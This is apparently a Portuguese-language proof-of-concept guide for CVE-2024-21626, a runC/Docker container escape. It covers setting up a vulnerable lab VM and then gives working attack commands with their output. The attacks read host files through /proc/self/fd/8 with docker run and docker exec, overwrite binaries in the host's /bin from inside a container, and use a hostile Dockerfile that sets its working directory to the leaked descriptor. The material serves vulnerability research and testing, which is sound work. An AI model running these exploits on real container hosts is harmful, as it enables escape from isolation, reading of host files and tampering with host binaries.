PoC do CVE-2024-21626

Leia meu artigo completo para uma explicação detalhada aqui.

Artigo relacionado

Ao investigar o CVE-2024–21626, descobri uma vulnerabilidade negligenciada em versões mais antigas do Docker e do runC. Para saber mais sobre o que encontrei, leia o seguinte artigo: “Exploring Hidden Vulnerabilities in Legacy Docker Versions: Lessons from CVE-2024–21626”.

Configuração do ambiente 🔨

A. Baixe e instale a versão 22.04.1-Ubuntu LTS

Durante a instalação, não marque a caixa para baixar atualizações do sistema.

B. Instale a imagem de CD das Guest Additions para trabalhar facilmente com a máquina virtual

insira a imagem de CD das Guest Additions
abra o terminal na imagem de CD montada

execute o script VBoxLinuxAdditions.run

demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run

C. Instale a versão vulnerável do Docker e os componentes relacionados

Configure o repositório apt do Docker

# set up Docker's apt repository: add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update

Encontre e instale a versão correta dos diferentes componentes (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin).

# search in the cache reposiroty the docker-ce available packages
apt-cache madison docker-ce | awk '{ print $3 }'
# setup the chosen version
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy

# search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin

# install the packages
sudo apt install docker-ce=$VERSION_STRING \
    docker-ce-cli=$VERSION_STRING \
    containerd.io=1.6.4-1 \
    docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy

Se os pacotes forem muito antigos para serem encontrados (veja também o repositório antigo online), ou se você não puder usar o repositório apt do Docker para instalar o Docker Engine, você pode baixar o arquivo .deb para sua versão e instalá-lo manualmente. Acesse https://download.docker.com/linux/ubuntu/dists/ ou use os arquivos .deb dentro do meu repositório no GitHub e instale-os.

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb

D. Verifique as versões instaladas

sudo docker version
runc --version    
containerd --version
uname -r

E. Verifique se o kernel é vulnerável

Para funcionar corretamente, a vulnerabilidade exige a presença da syscall openat2. Verificando manualmente com o seguinte comando:

grep openat2 /proc/kallsyms

Pode haver casos em que é necessário verificar com o seguinte script em Golang, disponível no meu repositório no GitHub, se a syscall openat2 está presente.

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.

O binário encontrado foi compilado com as seguintes flags

env GOOS=linux GOARCH=amd64 go build testOpenat2.go

Verifique se o alvo é vulnerável 🧐

Execute o checkVulnerability.sh e veja se o arquivo é impresso no terminal

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Ataque 1 🦏

Exploração definindo o diretório de trabalho para /proc/self/fd/

# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

exploração ao executar um contêiner

Ataque 2 🐯

Exploração via docker exec:

Abra um terminal e execute os seguintes comandos

# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

Abra outro terminal e execute o seguinte comando

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120

Volte ao primeiro terminal e acesse o sistema de arquivos do host

# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
    
root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc

# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname 
d98de5a852d7

Exploração ao executar um comando em um contêiner em execução

Ataque 3a 🦁

# Attack 3a is attack 1 but adapted to overwrite a host binary

# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.# 

# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:24 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

Exploração ao executar um comando em um contêiner em execução

Ataque 3b 🦍

# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary

# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm

# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000

# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9

root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
                     /proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:39 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

Ataque com imagem maliciosa 🐳

Dado o seguinte Dockerfile

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8

Compile e execute a imagem

sudo docker  build . -t devil-image

sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

Exploração via imagem maliciosa

CVE-2024-21626

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